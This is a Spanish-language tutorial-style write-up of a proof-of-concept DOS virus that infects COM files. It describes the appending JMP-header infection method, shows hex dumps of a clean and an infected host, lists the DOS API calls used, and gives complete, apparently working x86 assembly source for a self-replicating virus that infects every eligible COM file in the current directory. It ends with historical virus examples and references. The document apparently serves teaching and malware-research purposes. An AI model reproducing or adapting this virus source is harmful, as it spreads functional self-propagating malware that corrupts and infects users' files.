Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por postpending (adición posterior) en archivos COM. El virus infecta archivos en tiempo de ejecución.

Método de infección

Durante la infección, el virus reemplaza los primeros bytes del archivo huésped (cabezal original) con una instrucción JMP (cabezal viral) que dirige el flujo de ejecución hacia el final del archivo donde se añade el cuerpo viral. El cabezal original reemplazado es guardado en el cuerpo viral.

Cuando un archivo infectado es ejecutado, el virus se carga en memoria junto con este y se ejecuta primero realizando sus propias acciones, al terminar restaura el cabezal original en el offset CS:0100 (dirección de memoria donde se cargan los archivos COM en DOS) y salta hacia dicho offset para permitirle al huésped su ejecución normal. Esto último dificulta la detección por parte del usuario.

La primer generación del virus es diferente a las siguientes. La primera no tiene cabezal viral, ya que no está adherida a un huésped. Las siguientes generaciones al estar adheridas a un huésped se diferencian por tener cabezal y cuerpo viral.

Como resultado de la infección:

  • Los archivos infectados ocuparán más espacio al contener el código viral. Con técnicas de stealth esta información se puede ocultar del usuario para dificultar su detección.
  • Los archivos infectados tendrán un tiempo de ejecución mayor al incluir la pre ejecución del virus.

Método de propagación

La infección se realiza en el momento de ejecución infectando todos los archivos COM en el directorio actual a excepción de aquellos con atributo READ-ONLY, HIDDEN o SYSTEM.

Otros detalles

  • Se utiliza una técnica básica para calcular el $\Delta$ offset, este es el posicionamiento relativo del virus en el archivo infectado. Esta técnica es detectada por cualquier anti-virus decente.
  • Este virus no tiene reconocimiento propio, como consecuencia los archivos infectados pueden ser infectados nuevamente y comenzarán a crecer con cada nueva infección, sin funcionar mal pero volviéndose menos eficientes. En el peor caso, un archivo infectado múltiples veces puede llegar a sobrepasar el máximo tamaño que un archivo COM puede soportar, esto es 64KB.
  • El virus no verifica que el tamaño del archivo COM sea adecuado para la infección. Si luego de la infección el tamaño total supera los 64KB, ya no es un archivo COM válido.
  • La DTA (Disk Transfer Area) default no es re localizada. El uso de la DTA por parte del virus provocará un solapamiento de datos si el archivo huésped es un programa que recibe argumentos de ejecución ya que estos se guardan en el offset 0x80 que coincide con la ubicación default de la DTA.

Flujo de ejecución

Análisis estático

Hex dump de un archivo sano de tamaño 80 bytes:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  B4 09 BA 39 01 CD 21 90  ´.º9.Í!.
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$

Hex dump del archivo infectado:

Offset  00 01 02 03 04 05 06 07  ANSI
0x0000  E9 4D 00 39 01 CD 21 90  éM.9.Í!.  Cabezal viral
0x0008  90 90 90 90 90 90 90 90  ........
0x0010  90 90 90 90 90 90 90 90  ........
0x0018  90 90 90 90 90 90 90 90  ........
0x0020  90 90 90 90 90 90 90 90  ........
0x0028  90 90 90 90 90 90 90 90  ........
0x0030  90 90 90 90 90 B4 00 CD  .....´.Í
0x0038  21 54 68 69 73 20 69 73  !This is
0x0040  20 61 20 68 6F 73 74 20   a host 
0x0048  66 69 6C 65 21 0D 0A 24  file!..$
0x0050  E8 00 00 5D 81 ED 0B 01  è..].í..  Cuerpo viral
0x0058  B9 03 00 8D B6 9A 01 BF  ¹...¶’.¿
0x0060  00 01 F3 A4 B4 4E 33 C9  ..ó¤´N3É
0x0068  8D 96 94 01 CD 21 73 08  .–Œ.Í!s.
0x0070  EB 65 B4 4F CD 21 72 5F  ëe´OÍ!r_
0x0078  B4 3D B0 02 BA 9E 00 CD  ´=°.ºž.Í
0x0080  21 72 EF 50 B4 3F 5B B9  !rïP´?[¹
0x0088  03 00 8D 96 9A 01 CD 21  ...–’.Í!
0x0090  72 3F B8 00 42 33 C9 33  r?¸.B3É3
0x0098  D2 CD 21 72 34 A1 9A 00  ÒÍ!r4¡š.
0x00A0  2D 03 00 3E C6 86 9D 01  -..>Ɔ•.
0x00A8  E9 3E 89 86 9E 01 B4 40  é>‰†–.´@
0x00B0  B9 03 00 8D 96 9D 01 CD  ¹...–•.Í
0x00B8  21 72 16 B8 02 42 33 C9  !r.¸.B3É
0x00C0  33 D2 CD 21 72 0B B4 40  3ÒÍ!r.´@
0x00C8  B9 95 00 8D 96 08 01 CD  ¹•..–..Í
0x00D0  21 B4 3E CD 21 73 9B B9  !´>Í!s›¹
0x00D8  00 01 FF E1 2A 2E 63 6F  ..ÿá*.co
0x00E0  6D 00 B4 09 BA           m.´.º     Cabezal original

El archivo huésped ahora tiene 149 bytes adicionales de tamaño.

API utilizada

Se utilizan 8 servicios de la DOS API mediante la interrupción de software 21h.

Servicio AH Parámetros Retorno Versión DOS
Terminar programa 00h - - 1+
Abrir archivo existente 3Dh AL = modos de acceso e intercambio
DS:DX -> nombre del archivo (ASCIZ)
Éxito: CF = 0, AX = handle del archivo
Error: CF = 1, AX = código de error
2+
Cerrar archivo 3Eh BX = handle del archivo Éxito: CF = 0, AX destruido
Error: CF = 1, AX = código de error
2+
Lectura de archivo
o dispositivo
3Fh BX = handle del archivo
CX = nro. de bytes
DS:DX -> offset donde guardar datos
Éxito: CF = 0, AX = nro. de bytes transferidos
Error: CF = 1, AX = código de error
2+
Escribir en archivo
o dispositivo
40h BX = handle del archivo
CX = nro. de bytes
DS:DX -> datos a escribir
Éxito: CF = 0, AX = nro. de bytes escritos
Error: CF = 1, AX = código de error
2+
Establecer puntero de archivo 42h AL = código de desplazamiento
BX = handle del archivo
CX = mitad mayor de desplazamiento
DX = mitad menor de desplazamiento
Éxito: CF = 0, CX = mitad mayor, DX = mitad menor
Error: CF = 1, AX = código de error
2+
Buscar el primer archivo
coincidente
4Eh CX = máscara de atributos de archivo
DS:DX -> nombre del archivo (ASCIZ)
Éxito: CF = 0, resultado en DTA
Error: CF = 1, AX = código de error
2+
Buscar el siguiente archivo
coincidente
4Fh - Exito: CF = 0, resultado en DTA
Error: CF = 1, AX = código de error
2+

Código fuente

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
;##############################################################################  
;# Nombre:        virus://DOS/SillyC.149  
;# Plataforma:    Intel x86  
;# SO:            DOS v2.0+, Win32 (mediante NTVDM)  
;# Lenguaje:      ASM x86-16 (sintaxis Intel)  
;# Herramientas:  TASM v4.1, TLINK v7.1.30.1  
;# Tipo:          Parasitic, Non-Resident, COM infector  
;# Tamaño:        149 bytes  
;# Propagación:   Acción directa sobre el directorio actual.  
;# Infección:     Postpending en archivos COM (no READ-ONLY/HIDDEN/SYSTEM).  
;#                Sin reconocimiento propio.  
;# Residente:     No  
;# Stealth:       No  
;# Payload:       No  
;##############################################################################

.8086  
.model tiny

assume cs:virus, ds:virus

virus segment byte public 'CODE'

    org 100h

start:    
    jmp short body                        ; cabezal, en las siguientes generaciones aquí  
    nop                                   ; habrá un near JMP de 3 bytes
    
    mov ah, 00h                           ; / huésped dummy, solo retorna a DOS  
    int 21h                               ; \

body:    
    call d_offset                         ; calcular delta offset  

d_offset:    
    pop bp  
    sub bp, offset d_offset 
                
    mov cx, 3                             ; restaurar cabezal original  
    lea si, [bp + host_head]  
    mov di, 100h  
    rep movsb
    
    mov ah, 4Eh                           ; | AH = 4Eh  
    xor cx, cx                            ; | CX = 0, archivos normales  
    lea dx, [bp + search_str]             ; | DS:DX -> "*.COM"  
    int 21h                               ; |_DOS API - Buscar primer archivo
    
    jnc infect_file                       ; archivo encontrado  
    jmp exit                              ; no hay archivo

find_next:    
    mov ah, 4Fh                           ; | AH = 4Fh  
    int 21h                               ; |_DOS API - Buscar siguiente archivo 

    jc exit                               ; no hay archivo

infect_file:   
    mov ah, 3Dh                           ; | AH = 3Dh  
    mov al, 2                             ; | AL = 2, lectura y escritura  
    mov dx, 9Eh                           ; | DS:DX -> DTA + 1Eh = 9Eh (FileName)  
    int 21h                               ; |_DOS API - Abrir archivo existente

    jc find_next                          ; no se puede abrir archivo, buscar siguiente archivo  
    push ax                               ; guardar handle y continuar infección
      
    mov ah, 3Fh                           ; | AH = 3Fh  
    pop bx                                ; | BX = handle del archivo  
    mov cx, 3                             ; | CX = tamaño del cabezal, 3 bytes  
    lea dx, [bp + host_head]              ; | DS:DX -> destino: buffer para cabezal original  
    int 21h                               ; |_DOS API - Leer de archivo/dispositivo
      
    jc close_file                         ; no se puede leer el archivo, cerrarlo

    mov ax, 4200h                         ; | AX = 4200h (principio del archivo)  
    xor cx, cx                            ; | CX = 0  
    xor dx, dx                            ; | DX = 0  
    int 21h                               ; |_DOS API - Establecer puntero en archivo 
    
    jc close_file                         ; no se puede trabajar con el archivo, cerrarlo
    
    mov ax, word ptr [ds:9Ah]             ; calcular el largo del JMP para el cabezal viral, DTA+1Ah=9Ah (FileSize)  
    sub ax, 3                             ; restarle 3 bytes del near JMP
    
    mov byte ptr [bp + tmp_head], 0E9h    ; construir cabezal viral en buffer temporal (E9h = near JMP)  
    mov word ptr [bp + tmp_head + 1], ax
    
    mov ah, 40h                           ; | AH = 40h  
    mov cx, 3                             ; | CX = tamaño del cabezal, 3 bytes  
    lea dx, [bp + tmp_head]               ; | DS:DX -> origen: buffer temporal para cabezal viral  
    int 21h                               ; |_DOS API - Escribir en archivo/dispositivo 
    
    jc close_file                         ; no se puede trabajar con el archivo, cerrarlo
    
    mov ax, 4202h                         ; | AX = 4202h (fin del archivo)  
    xor cx, cx                            ; | CX = 0  
    xor dx, dx                            ; | DX = 0  
    int 21h                               ; |_DOS API - Establecer puntero en archivo 
    
    jc close_file                         ; no se puede trabajar con el archivo, cerrarlo
    
    mov ah, 40h                           ; | AH = 40h  
    mov cx, VIRUS_SIZE                    ; | CX = tamaño del virus  
    lea dx, [bp + body]                   ; | DS:DX -> origen: inicio del código viral  
    int 21h                               ; |_DOS API - Escribir en archivo/dispositivo

close_file:   
    mov ah, 3Eh                           ; | AH = 3Eh  
    int 21h                               ; |_DOS API - Cerrar archivo

    jnc find_next                         ; si CF=0, buscar siguiente archivo 

exit:   
    mov cx, 0100h  
    jmp cx                                ; saltar a CS:0100 y ejecutar huésped

search_str    db   "*.COM", 00h           ; nombre comodín de búsqueda  
host_head     db   90h, 90h, 90h          ; buffer para cabezal original  
VIRUS_SIZE    equ  ($ - body)             ; tamaño del virus  
tmp_head      db   3 dup (?)              ; buffer temporal para el cabezal viral

virus ends  
end start  

Casos reales

  • El virus Vienna fue aislado por primera vez en Abril de 1988 en Moscú. Se trata de un virus no residente, infector de archivos COM por acción directa. Como su código fuente se hizo público, aparecieron muchas variantes del mismo.
  • La familia de virus Sality es un ejemplo moderno de virus polimórficos que infectan archivos ejecutables de Windows con extensión .exe o .scr. Desde su descubrimiento inicial, las variantes de esta familia se han vuelto más sofisticadas.

Bibliografía

  1. Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
  2. Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
  3. Phalcon-Skism. 40-Hex.